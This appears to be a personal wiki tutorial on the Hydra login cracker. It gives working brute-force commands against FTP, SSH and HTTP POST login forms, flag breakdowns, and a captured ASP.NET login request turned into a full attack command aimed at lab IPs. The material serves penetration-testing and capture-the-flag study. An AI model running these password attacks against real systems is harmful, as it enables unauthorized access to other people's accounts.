Hydra

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

https://tools.kali.org/password-attacks/hydra

Hydra has very much possibilities but for this we take the easiest one. To see the example command type in the console **hyrda -h**. On the bottom you will see those examples:

```
Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh
```

FTP

`hydra –l user –P passlist.txt ftp://<ip.of.vic.tim>`

At the end you define which protocol you want to crack. Hydra has nearly no limits regarding protocols:

```
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET,
HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-
Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3,
SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
```

The syntax for the command we're going to use to find the passwords is this:

"hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp"

Let's break it down:

SECTION	FUNCTION
hydra	Runs the hydra tool
-t 4	Number of parallel connections per target
-l [user]	Points to the user who's account you're trying to compromise
-P [path to dictionary]	Points to the file containing the list of possible passwords
-vV	Sets verbose mode to very verbose, shows the login+pass combination for each attempt
[machine IP]	The IP address of the target machine
ftp / protocol	Sets the protocol

SSH

`hydra -l <username> -P <full path to list> <IP.of.victim> -t 4 ssh`

OPTION	DESCRIPTION
-l	is for the username
-P	Use a list of passwords
-t	specifies the number of threads to use

Method 1: POST Web Form

We can use Hydra to bruteforce web forms too, you will have to make sure you know which type of request its making - a GET or POST methods are normally used. You can use your browsers network tab (in developer tools) to see the request types, or simply view the source code.

```
hydra -l <username> -P <wordlist> <IP.of.victim> http-post-form
"/<page>:username=^USER^&password=^PASS^:F=<Message of login failure>" -V
```

OPTION	DESCRIPTION
-l	Single username
-P	indicates use the following password list
http-post-form	indicates the type of form (post)
/login url	the login page URL
:username	the form field where the username is entered
^USER^	tells Hydra to use the username
password	the form field where the password is entered
^PASS^	tells Hydra to use the password list supplied earlier
Login	indicates to Hydra the Login failed message
Login failed	is the login failure message that the form returns
F=incorrect	If this word appears on the page, its incorrect
-V	verborse output for every attempt

Method 2: POST Web Form

When you want to attack a Web Login form with hydra we need to catch the http login request. Best way to do it is with Burpsuite. Here is an example of an intercepted login request.

```
POST /Account/login.aspx?ReturnURL=%2fadmin%2f HTTP/1.1
Host: 10.10.92.230
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 770
Origin: http://10.10.92.230
Connection: close
Referer: http://10.10.92.230/Account/login.aspx?ReturnURL=%2fadmin%2f
Upgrade-Insecure-Requests: 1

__VIEWSTATE=
vxnAjAkHKcDIYhqSmFUgwu9m6yMsJJhUctuRsbmXgPxs%2FD3lVLJOwk36i57mypsvrOjexXa2B%2B5VGAHgzcKe6ICpC4%2FSgbLwZp%2Fgi1eTUWhZhrGBjE37zX8
RrZhRpe83LkSYXS7RtE6n4859gRy%2F0Qau%2Fr%2Bpbhvxc2ugICBWaJsOykGjIyFyaar9uZlcVAu4369%2B9E6SkxtiXwuP77Hfe2Pk%2BKQOwn70edca8xE0Aaal
pnMSXFSLLviDB%2BqLxwZxZ5vrluwj62%2BSBwH%2FQuoeKRTSMF%2BbFJEJhc8oOjYZNll6Rjft4diOjP8GZ8CVZPkCVUPQ%2B4GqMj7V5lu9Pzd2Ngr3QUZ%2FwuM
hfOzafJTJuBgfsUl2&__EVENTVALIDATION=
5zCiK2cUGbgHlcmTqeWdmu7UYE%2BBWWzpn2NfDORxCY2L%2FVLWDOzVmcBrLTe4L9qvkPexwgW2SOGfABO%2B0zYr361NW%2BYQsMDgZSp1%2BqqQ121KmTm9iAr3p
yzGJxR%2FP2u7wiKE2MXHFMeduuBvfB3XpM%2BaZ7rrYeDKbtywSOUnqJcL1wGj&ctl00%24MainContent%24LoginUser%24UserName=admin&
ctl00%24MainContent%24LoginUser%24Password=admin&ctl00%24MainContent%24LoginUser%24LoginButton=Log+inS
```

In here we got all info's which we need for the attack. First, copy the path where the request will be sent to. Second, copy the whole part where username:password is defined. And last but not least find out the error message when the login is not correct. In the example it would look like following:

`Path: /Account/login.aspx?ReturnURL=/admin` Replace the %2f with a slash

Request line:

`__VIEWSTATE=...[vxnAjA]...&__EVENTVALIDATION=-...[5zCiK2]...&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+inS`

Replace the username:password with ^USER^ & ^PASS^

Error Message:

`Login failed`

You can check the error message by entering wrong creds on purpose.

All attached together it would be look like that:

`hydra -l <username> -P /usr/share/wordlists/<wordlist> <ip> http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=...[vxnAjA]...&__EVENTVALIDATION=-...[5zCiK2]...&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+inS:Login failed"`

IMPORTANT: Each section is separated with a colon.

Revision #2
Created 9 July 2022 13:10:32 by Togoboi
Updated 10 July 2022 08:21:19 by Togoboi